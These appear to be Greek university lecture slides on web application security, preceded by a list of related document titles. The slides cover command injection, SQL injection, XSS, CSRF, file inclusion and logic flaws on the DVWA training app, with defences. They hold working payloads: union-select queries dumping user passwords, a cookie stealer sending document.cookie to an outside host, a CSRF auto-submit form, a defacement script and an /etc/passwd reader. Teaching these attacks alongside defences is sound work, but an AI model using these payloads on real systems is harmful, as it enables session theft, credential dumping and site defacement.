Application Security in Practise

Σχετικά έγγραφα
WEB SECURITY. Διαφάνειες: Δημήτρης Καρακώστας Διονύσης Ζήνδρος. Εθνικό Μετσόβιο Πολυτεχνείο Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών

Τεχνολογίες Διαδικτύου. Server Side Scripting I PHP

Application Security. Dimitris Mitropoulos

Ασφάλεια, Διαθεσιμότητα και Ταχύτητα για τις Web Εφαρμογές

Εφαρµογές διαδικτύου µε PHP

Injection Attacks. Protocol Host FilePath. field1=valuex&field2=valuey. Query String. Web server HTTP GET.

Φορολογική Βιβλιοθήκη. Θανάσης Φώτης Προγραμματιστής Εφαρμογών

Web and HTTP. Βασικά Συστατικά: Web Server Web Browser HTTP Protocol

ΑΣΦΑΛΕΙΑ. Διδάσκοντες: Π. Αγγελάτος, Δ. Ζήνδρος Επιμέλεια διαφανειών: Δ. Ζήνδρος Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών

10 η Διάλεξη Python Βάσεις δεδομένων στη python

Δρ. Δημήτριος Α. Κουτσομητρόπουλος. Τμήμα Επιχειρηματικού Σχεδιασμού και Πληροφοριακών Συστημάτων Α.Τ.Ε.Ι. Πάτρας

Web exploitation: Ένα πραγματικό παράδειγμα

για την Ανάπτυξη Δυναμικών Διαδικτυακών Εφαρμογών»

Θέματα Προγραμματισμού Διαδικτύου ~ MySQL & PHP ~

Εισαγωγή στην Ανάπτυξη Εφαρμογών Web με Χρήση της Python, του Apache και του mod_python

Ασφάλεια Υπολογιστών Και Δικτύων. Προσομοίωση επίθεσης σε ευπαθές σε SQL Injection σύστημα και απόκτηση κονσόλας διαχειριστή

Η HTML χρησιμοποιεί εντολές που ονομάζονται HTML tags δίνοντας εντολές στους Web browsers για το πώς να εμφανίζουν την κάθε ιστοσελίδα.

Επισκόπηση προβλημάτων ασφαλείας, απειλών και κακόβουλων επιθέσεων αντίμετρα hands on lab/training module

Παράρτημα A: PHP, HTML φόρμες και το πρωτόκολλο HTTP.

Προγραμματισμός Διαδικτύου

Μετάφραση: Καζακώνης Αναστάσιος ΙΟΥΝΙΟΣ 2005

Ασφάλεια Πληροφοριακών Συστημάτων

(C) 2010 Pearson Education, Inc. All rights reserved.

Τείχος Προστασίας Εφαρμογών Διαδικτύου

ΔΟΜΗ. Διδάσκοντες: Π. Αγγελάτος, Δ. Ζήνδρος Επιμέλεια διαφανειών: Δ. Ζήνδρος Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών

Οδηγίες Ακολουθήστε τα παρακάτω βήματα. Βεβαιωθείτε ότι το πρόγραμμά σας δουλεύει σωστά σε κάθε βήμα, πριν προχωρήσετε στο επόμενο.

Πανεπιστήμιο Πειραιώς Τμήμα Πληροφορικής

PHP Functions. by George Girtsou Copyright All Rights Reserved. Με την επιφύλαξη κάθε νόμιμου δικαιώματος.

, Evaluation of a library against injection attacks

PHP/MySQL και Project

Ευπάθειες Διαδικτυακών Εφαρμογών & Web Εξυπηρετητών

Basic Missions

Web Programming for Dummies

ΚΥΠΡΙΑΚΗ ΕΤΑΙΡΕΙΑ ΠΛΗΡΟΦΟΡΙΚΗΣ CYPRUS COMPUTER SOCIETY ΠΑΓΚΥΠΡΙΟΣ ΜΑΘΗΤΙΚΟΣ ΔΙΑΓΩΝΙΣΜΟΣ ΠΛΗΡΟΦΟΡΙΚΗΣ 6/5/2006

Dynamic types, Lambda calculus machines Section and Practice Problems Apr 21 22, 2016

Οδηγίες Αγοράς Ηλεκτρονικού Βιβλίου Instructions for Buying an ebook

Αντώνης Χρυσόπουλος Στέλιος Μόσχογλου Θεοδόσης Σουργκούνης ΔΟΜΗΣΗ ΚΩΔΙΚΑ. Μαθαίνω παίζοντας

Τεχνολογίες Ανάπτυξης Εφαρμογών στο WEB

ΠΡΟΣΟΧΗ: Οι απαντήσεις πολλαπλής επιλογής µόνο πάνω στο ΦΥΛΛΟ ΑΠΑΝΤΗΣΕΩΝ

Εργαστήριο Ανάπτυξης Εφαρμογών Βάσεων Δεδομένων. Εξάμηνο 7 ο

5 η Διάλεξη: Προγραμματισμός στην πλευρά του εξυπηρετητή: προχωρημένα θέματα PHP

Εφαρμογή Βάσης Δεδομένων για την Εθελοντική Αιμοδοσία στο ΑΤΕΙ-Θ

How to register an account with the Hellenic Community of Sheffield.

Προγραμματισμός και Συστήματα στον Παγκόσμιο Ιστό Ενότητα 3: Server Side Scripting II PHP & MySQL

ΗΛΕΚΤΡΟΝΙΚΟ ΚΑΤΑΣΤΗΜΑ

Θέματα Προγραμματισμού Διαδικτύου ~ PHP ~

Βασικές Έννοιες Web Εφαρμογών

Ρυθμίσεις εγκατάστασης ονόματος χώρου σε πίνακα ελέγχου plesk

Προγραμματισμός Διαδικτύου

PortSip Softphone. Ελληνικά Ι English 1/20

CVE the SSL Heartbleed bug. SSL Renegotiation Attack

ΠΡΟΣΟΧΗ: Οι απαντήσεις πολλαπλής επιλογής µόνο πάνω στο ΦΥΛΛΟ ΑΠΑΝΤΗΣΕΩΝ

Ιστορία της PHP

Social Network : Programming on FACEBOOK

Εργαστήριο 9. Προγραμματιστικές Εφαρμογές στο Διαδίκτυο. Στόχος. Προετοιμασία περιβάλλοντος εργασίας

Κατανεμημένα Συστήματα. Javascript LCR example

Εργαστήριο Βάσεων Δεδομένων. Δικαιώματα Χρηστών Προβολές

Εργαστήριο Ανάπτυξης Εφαρμογών Βάσεων Δεδομένων. Εξάμηνο 7 ο

Μηχανή αναζήτησης βασισμένη σε AJAX και Soundex. Πτυχιακή Εργασία

The challenges of non-stable predicates

Frontend optimizations. Θεοδόσης Σουργκούνης

Γιάννης Σαμωνάκης. 1 ο ΣΧΟΛΕΙΟ ΚΩΔΙΚΑ «Βασικά Θέματα Προγραμματισμού στην Ανάπτυξη Δυναμικών Διαδικτυακών Εφαρμογών» (Part 4 - PHP)

Special edition of the Technical Chamber of Greece on Video Conference Services on the Internet, 2000 NUTWBCAM

Εργαστήριο 8. Προγραμματιστικές Εφαρμογές στο Διαδίκτυο

Διαβάστε στο Παράρτημα Α.1 πώς θα γράψετε ένα πρόγραμμα PHP για την παροχή δεδομένων σε μορφή διαφορετική από την HTML.

Προγραμματισμός Διαδικτύου Ασκήσεις Εργαστηρίου

MCSS Medical Center Support Systems. Setup Instructions

Λευτέρης Κουμάκης ΠΟΛΥΜΕΣΙΚΕΣ ΥΠΗΡΕΣΙΕΣ ΣΤΗΝ ΥΓΕΙΑ

Εργαστήριο #10 (Ε10) 1

ΘΕΜΑ ΠΤΥΧΙΑΚΗΣ : ΜΗΧΑΝΙΣΜΟΙ ΣΥΛΛΟΓΗΣ ΣΤΟΙΧΕΙΩΝ ΣΤΟ ΔΙΑΔΥΚΤΙΟ (COOKIES)

Γιώργος Σπηλιώτης IT Consultant

ΚΥΠΡΙΑΚΗ ΕΤΑΙΡΕΙΑ ΠΛΗΡΟΦΟΡΙΚΗΣ CYPRUS COMPUTER SOCIETY ΠΑΓΚΥΠΡΙΟΣ ΜΑΘΗΤΙΚΟΣ ΔΙΑΓΩΝΙΣΜΟΣ ΠΛΗΡΟΦΟΡΙΚΗΣ 24/3/2007

ΓΡΑΜΜΙΚΟΣ & ΔΙΚΤΥΑΚΟΣ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΣ

ΚΥΠΡΙΑΚΗ ΕΤΑΙΡΕΙΑ ΠΛΗΡΟΦΟΡΙΚΗΣ CYPRUS COMPUTER SOCIETY ΠΑΓΚΥΠΡΙΟΣ ΜΑΘΗΤΙΚΟΣ ΔΙΑΓΩΝΙΣΜΟΣ ΠΛΗΡΟΦΟΡΙΚΗΣ 19/5/2007

ΜΕΡΟΣ ΠΡΩΤΟ: Θεωρητική Προσέγγιση...15

Τεχνολογίες Διαδικτύου

ΔΝΓΔΙΚΣΙΚΔ ΑΠΑΝΣΗΔΙ 3 εο ΓΡΑΠΣΗ ΔΡΓΑΙΑ

ΑΝΑΠΤΥΞΗ ΕΦΑΡΜΟΓΩΝ ΜΕ ΧΡΗΣΗ PHP

ΜΕΤΑΠΤΥΧΙΑΚΗ ΔΙΠΛΩΜΑΤΙΚΗ ΕΡΓΑΣΙΑ

Εργαλεία ανάπτυξης εφαρμογών internet Ι

Εργαστήριο βάσεων δεδομένων. MySQL Stored Procedures

ΒΑΣΕΙΣ ΔΕΔΟΜΕΝΩΝ. Πανεπιστήμιο Πειραιώς Τμήμα Ψηφιακών Συστημάτων Μανουσόπουλος Χρήστος

ΗY335: Δίκτυα Υπολογιστών Χειμερινό Εξάμηνο Τμήμα Επιστήμης Υπολογιστών Πανεπιστήμιο Κρήτης Διδάσκουσα: Μαρία Παπαδοπούλη

ΑΛΕΞΑΝΔΡΕΙΟ Τ.Ε.Ι. ΘΕΣΣΑΛΟΝΙΚΗΣ ΣΧΟΛΗ ΤΕΧΝΟΛΟΓΙΚΩΝ ΕΦΑΡΜΟΓΩΝ ΤΜΗΜΑ ΠΛΗΡΟΦΟΡΙΚΗΣ

ΠΑΝΔΠΙΣΗΜΙΟ ΜΑΚΔΓΟΝΙΑ ΠΡΟΓΡΑΜΜΑ ΜΔΣΑΠΣΤΥΙΑΚΧΝ ΠΟΤΓΧΝ ΣΜΗΜΑΣΟ ΔΦΑΡΜΟΜΔΝΗ ΠΛΗΡΟΦΟΡΙΚΗ

Α.Τ.Ε.Ι. ΚΑΒΑΛΑΣ ΠΤΥΧΙΑΚΗ ΕΡΓΑΣΙΑ

Προγραμματισμός Διαδικτύου Ασκήσεις Εργαστηρίου

ΕΞΕΤΑΣΤΕΑ ΥΛΗ (SYLLABUS) ADVANCED σχεδιασμός ιστοσελίδας ΕΚΔΟΣΗ 1.0. Σόλωνος 108,Τηλ Φαξ

ΠΑΝΕΠΙΣΤΗΜΙΟ ΙΩΑΝΝΙΝΩΝ ΤΜΗΜΑ ΜΑΘΗΜΑΤΙΚΩΝ

. Εργαστήριο Βάσεων Δεδομένων. Triggers

ΜΕΤΑΦΟΡΑ ΑΡΧΕΙΩΝ FTP

TEC610 Δυναμικές Εφαρμογές Διαδικτύου (ΣΤ εξάμηνο)

Υλοποίηση Δικτυακών Υποδομών και Υπηρεσιών: Web εφαρμογή με χρήση LDAP και SMTP Server

databases linux - terminal (linux / windows terminal)

VBA ΣΤΟ WORD. 1. Συχνά, όταν ήθελα να δώσω ένα φυλλάδιο εργασίας με ασκήσεις στους μαθητές έκανα το εξής: Version ΗΜΙΤΕΛΗΣ!!!!

Επίθεση BREACH. Διονύσης

Paybybank RESTful API GUIDE

A browser-based digital signing solution over the web

Ιατρική Πληροφορική. Δρ. Π. ΑΣΒΕΣΤΑΣ ΤΜΗΜΑ ΜΗΧΑΝΙΚΩΝ ΒΙΟΪΑΤΡΙΚΗΣ ΤΕΧΝΟΛΟΓΙΑΣ Τ.Ε.

Transcript:

Application Security in Practise Stefanos Haliasos stefanoshaliassos@gmail.com

Attacks and Defences in Web Applications Injection Attacks Command Injection SQL Injections Blind SQL Injections XSS (DOM Based, Reflected, Stored) CSRF, cross-origin, same-origin Cookies Logic Flaws

Αρχή λειτουργίας web εφαρμογών

Ασφάλεια Web Εφαρμογών Ο εισβολέας κρύβει τον κακόβουλο κώδικα μέσα σε έγκυρα HTTP requests Οι εισβολείς μπορούν να παρέμβουν σε οποιοδήποτε τμήμα ενός HTTP request. URL querystring headers cookies DOM forms scripts stylesheets

Το πρόβλημα Η ανεπαρκής επικύρωση των δεδομένων εισόδου αποτελεί το τρωτό σημείο των web εφαρμογών

Demo 1. http://www.dvwa.co.uk 2. setup, access 3. http://security-class.gr/#exercises/3

Injection attacks

Injection Attacks Μια web εφαρμογή εκτελεί scripts στον server (Perl, Python, Ruby, PHP, Javascript) έχοντας πρόσβαση σε διάφορους πόρους (βάσεις δεδομένων, σύστημα αρχείων, third party services) Το αποτέλεσμα της εκτέλεσης επιστρέφει στον client Εάν οι παράμετροι του αιτήματος δεν επικυρωθούν σωστά, ο εισβολέας μπορεί να παρέμβει και να εκτελέσει τις δικές του εντολές

Command Injection

<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping '. $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 '. $target ); } } // Feedback for the end user echo "<pre>{$cmd}</pre>";?>

Δύο βασικές προσεγγίσεις Blacklisting Καθορίστε τι δεν είναι αποδεκτό και επιτρέψτε οτιδήποτε άλλο Whitelisting Καθορίστε τι είναι αποδεκτό και απορρίψτε οτιδήποτε άλλο

<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping '. $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 '. $target ); } } // Feedback for the end user echo "<pre>{$cmd}</pre>";?>

<?php if( isset( $_POST[ 'Submit' ] ) ) { // Check Anti-CSRF token checktoken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $target = $_REQUEST[ 'ip' ]; $target = stripslashes( $target ); // Split the IP into 4 octects $octet = explode( ".", $target ); // Check IF each octet is an integer if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $oc // If all 4 octets are int's put the IP back together. $target = $octet[0]. '.'. $octet[1]. '.'. $octet[2]. '.'. $octet[3]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping '. $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 '. $target ); } } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } else { // Ops. Let the user name theres a mistake echo '<pre>error: You have entered an invalid IP.</pre>'; } // Generate Anti-CSRF token generatesessiontoken();?>

SQL injections

SQL injections Ο εισβολέας επιδιώκει μέσω της web εφαρμογής να επέμβει στα δεδομένα της βάσης Μια ιδιαίτερα διαδεδομένη επίθεση Συναντάται και σε μη διαδικτυακές εφαρμογές

<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($globals[" mysqli_ston"], $query ) or die( '<pre>'. ((is_ob // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; } // Feedback for end user echo "<pre>id: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($globals[" mysqli_ston"]);?>

// Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; %' or '0'='0 $query = "SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';"; %' and 1=0 union select null, table_name from information_schema.tables # %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'# %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' # %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users # 1 and 1=1 union select version(),database() #

// Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindparam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowcount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; } } // Feedback for end user echo "<pre>id: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

Blind SQL injections

Τα αποτελέσματα του query δεν είναι ορατά στον χρήστη.

1 and 1=1 $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; # $id = "1 and 1=1" QUERY = SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=1; Εαν υπάρχει SQL vulnerability, θα πρέπει να επιστρέφει το ίδιο δελτίο τύπου Αν η επικύρωση του αιτήματος ήταν σωστή, το 'id=5 AND 1=1' θα ερμηνεύονταν σαν μια τιμή και δεν θα επιστρέψει αποτέλεσμα.

Cross-Site Scripting (XSS)

Σύνοψη Λάθη υλοποίησης στο client side κώδικα Cookies Same origin policy Javascript Sandbox Εμποδίζεται η πρόσβαση στη μνήμη άλλων προγραμμάτων και στο σύστημα αρχείων

javascript στον browser Cookies Είναι ένα token που στέλνεται από τον server και αποθηκεύεται στον client με μορφή "name=value" To HTTP είναι stateless Συνεπώς χρησιμοποιούμε cookies Persistent cookies Ζουν θα πολλαπλά browser sessions. Η ημερομηνία τους ορίζεται από τον server Non-persistent cookies Διαρκούν όσο το browser session Secure cookies Στέλνονται μόνο σε κρυπτογραφημένες συνδέσεις (SSL) HttpOnly cookies Στέλνονται μόνο σε HTTP και HTTPS request και δεν είναι προσβάσιμα από την

Same origin policy Ένα origin καθορίζεται από τον server, το πρωτόκολλο και το port number: protocol://host:port https://www.google.gr:443 Τα scripts μπορούν να έχουν πρόσβαση μόνο σε πόρους (π.χ. cookies) του ίδιου domain Απαγορεύει στα κακόβουλα scripts να χειρίζονται άλλες σελίδες στο πρόγραμμα περιήγησης και εμποδίζει την υποκλοπή δεδομένων.

Τι δεν περιορίζεται <script src="..."/> <img src="..."/> <a href="..."/> υποβολή φόρμας iframes

Cross-Site Scripting - XSS Παράκαμψη του same origin policy. Ο εισβολέας στέλνει το κακόβουλο script σε μια σελίδα θύμα. O browser του χρήστη δεν έχει κανέναν τρόπο να γνωρίζει ότι το script δεν είναι αξιόπιστο, και το εκτελεί. Το κακόβουλο script μπορεί να έχει πρόσβαση σε οποιαδήποτε cookies, session tokens, ή άλλες ευαίσθητες πληροφορίες που διατηρούνται στον browser και χρησιμοποιούνται σε αυτή τη σελίδα.

<?php if( isset( $_POST[ 'btnsign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxmessage' ] ); $name = trim( $_POST[ 'txtname' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($globals[" mysqli_ston"]) && is_object($globals[" $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = ((isset($globals[" mysqli_ston"]) && is_object($globals[" my }?> // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', $result = mysqli_query($globals[" mysqli_ston"], $query ) or die( '<p //mysql_close(); <script>alert("hello")</script>

<?php if( isset( $_POST[ 'btnsign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxmessage' ] ); $name = trim( $_POST[ 'txtname' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($globals[" mysqli_ston"]) && is_object($globals[" $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = ((isset($globals[" mysqli_ston"]) && is_object($globals[" my }?> // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', $result = mysqli_query($globals[" mysqli_ston"], $query ) or die( '<p //mysql_close(); <script>alert("hello")</script>

<?php if( isset( $_POST[ 'btnsign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxmessage' ] ); $name = trim( $_POST[ 'txtname' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($globals[" mysqli_ston"]) && is_object($globals[" mysqli_ston"]))? $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($globals[" mysqli_ston"]) && is_object($globals[" mysqli_ston"]))? my }?> // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($globals[" mysqli_ston"], $query ) or die( '<pre>'. ((is_object //mysql_close(); <img src="" onerror="alert('gotcha!!')">

Cookie stealer <img src="" onerror="document.location='http://stefanoshaliasos.com/stealer.php?cookie=' +document.cookie;"/> <script>document.images[0].src="http://stefanoshaliasos.com/stealer.php?cookie=" +document.cookie;</script> # stealer.php <?php $cookie = $_GET["cookie"]; $my_file = 'cfile.txt'; $handle = fopen($my_file, 'a'); fwrite($handle, $cookie."\n"); fclose($handle);?>

<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ]!= NULL ) { // Check Anti-CSRF token checktoken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); } // Feedback for end user echo "<pre>hello ${name}</pre>"; // Generate Anti-CSRF token generatesessiontoken();?> htmlspecialchars()

1. Stored XSS 2. Reflected XSS 3. DOM-Based XSS

Stored XSS Persistent

You enter data which is stored within the application and then returned later on in response to another request. This data contains JavaScript code which is executed in the context of the application

Reflected XSS Non-Persistent

You enter data to the application, which is then echoed back without escaping, sanitization or encoding and it's possible to include JavaScript code which is then executed in the context of the application

DOM-Based XSS

You enter data which modifies the DOM of the web page, this data contains JavaScript which is executed in the context of the application. It's relatively similar to reflected XSS but the difference is that in modifying the DOM the data might not ever got to the server

XSS tricks https://www.owasp.org/index.php/xss_filter_evasion_cheat_sheet http://dev.opera.com/articles/view/opera-javascript-for-hackers-1/

Προστασία από XSS Η αντιμετώπιση των XSS επιθέσεων είναι ιδιαίτερα δύσκολη. Τα ευρέως γνωστά web frameworks (Ruby on Rails, Django,.NET) αντιμετωπίζουν επιτυχώς τις περισσότερες επιθέσεις με input sanitization. Χρήση template engines για την παραγωγή του HTML markup. Application-level firewalls. Static code analysis. Tα HttpOnly cookies δεν επιτρέπουν στην javascript να έχει πρόσβαση στο document. cookie. CSP (Content Security Policy)

Cross site request forgery

CSRF Ο εισβολέας χρησιμοποιώντας κακόβουλο κώδικα, αναγκάζει τον browser του θύματος να εκτελεί HTTP requests προς την ευάλωτη web εφαρμογή δίχως τη συγκατάθεση του χρήστη. Για κάθε request σε κάποιο domain, οι browsers περιλαμβάνουν αυτόματα όλα τα δεδομένα του χρήστη που σχετίζονται με αυτό το domain. (session ID, cookies, IP address, κτλ...). Ακόμη και για requests που πυροδοτούνται από μια form, ένα script ή μια εικόνα.

<?php if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($globals[" mysqli_ston"]) && is_object($globals[" mysqli_s $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '". dvwacurrent $result = mysqli_query($globals[" mysqli_ston"], $insert ) or die( '<pre>'. (( // Feedback for the user echo "<pre>password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>passwords did not match.</pre>"; } }?> ((is_null($ mysqli_res = mysqli_close($globals[" mysqli_ston"])))? false : $ my

GET Request http://83.212.104.36/dvwa/vulnerabilities/csrf/?password_new=password1&password_conf=password1&change=change# <html><body> POST Request <form name="csrf_form" action="http://83.212.104.36/dvwa/vulnerabilities/csrf/" method="post"> <input type="hidden" name="password_new" value="password1"> <input type="hidden" name="password_conf" value="password1"> <input type="submit" name="change" value="change"/> </form> <script type="text/javascript">document.csrf_form.submit();</script> </body></html>

Προστασία από επιθέσεις CSRF Ορθή χρήση των HTTP methods. ην χρησιμοποιείται GET για requests που αλλάζουν το state του server. έσω CSRF tokens που παράγονται από το session ID και ένα μυστικό token στον server. Τα CSRF tokens πρέπει να περιλαμβάνονται σε κάθε requests και να επαληθεύονται στον server. <form action="/transfer.php" method="post"> <input type="hidden" name="csrftoken" value="owy4nmqwode4"> <input type="text" name="amount"/> <input type="submit" value="transfer" /> </form>

File Inclusion

LFI (Local File Inclusion): ο επιτιθέμενος χρησιμοποιεί ένα αρχείο που υπάρχει στον server.?page=../../hackable/uploads/filea.php RFI (Remote File Inclusion): ο επιτιθέμενος χρησιμοποιεί ένα αρχείο που υπάρχει σε ένα άλλο origin?page=https://stefanoshaliasos.com/rfi.php

<?php // The page we wish to display $file = $_GET[ 'page' ];?> <?php // The page we wish to display $file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php if( $file!= "include.php" && $file!= "file1.php" && $file!= "file2.php" && $file!= "file3.ph // This isn't the page we want! echo "ERROR: File not found!"; exit; }?>

FileA.php <?php $a = shell_exec('mv../../index.php../../temp.php'); $b = shell_exec('mv index.html../../index.html'); echo "Defacement completed";?>

RFI File <?php $cmd = shell_exec("cat /etc/passwd"); echo "<pre>{$cmd}</pre>";?>

Logic flaws

O εισβολέας μπορεί να εκμεταλλευτεί σφάλματα στο business logic μιας εφαρμογής και να παραβιάσει το ομαλό workflow. H επίθεση μπορεί να έχει πολλές μορφές και στοχεύει στην λειτουργικότητα και την πολιτική ασφάλειας της εκάστοτε εφαρμογής. Ένα σφάλμα στο business logic μιας εφαρμογής μπορεί να εξελιχθεί σε σημαντικότερο κενό ασφάλειας.

Ο επιτιθέμενος κλειδώνει ένα χρήστη έξω από κάποια εφαρμογή (Προσπαθώντας να κάνει πολλές φορές login) Όταν δεν ελέγχουμε τα δεδομένα μας σε επίπεδο server και ο επιτιθέμενος αποφεύγει τις άμυνες του client

UI / UX Data Validation

Summary SQL injection XSS CSRF File Inclusion Prepared Statements htmlspecialchars() CSRF Token Whitelisting

Ερωτήσεις;;; csec.uoa@gmail.com

https://www.owasp.org/ http://security-class.gr https://en.wikipedia.org/wiki/web_application_security https://github.com/webgoat/webgoat MIT 6.858: Computer Systems Security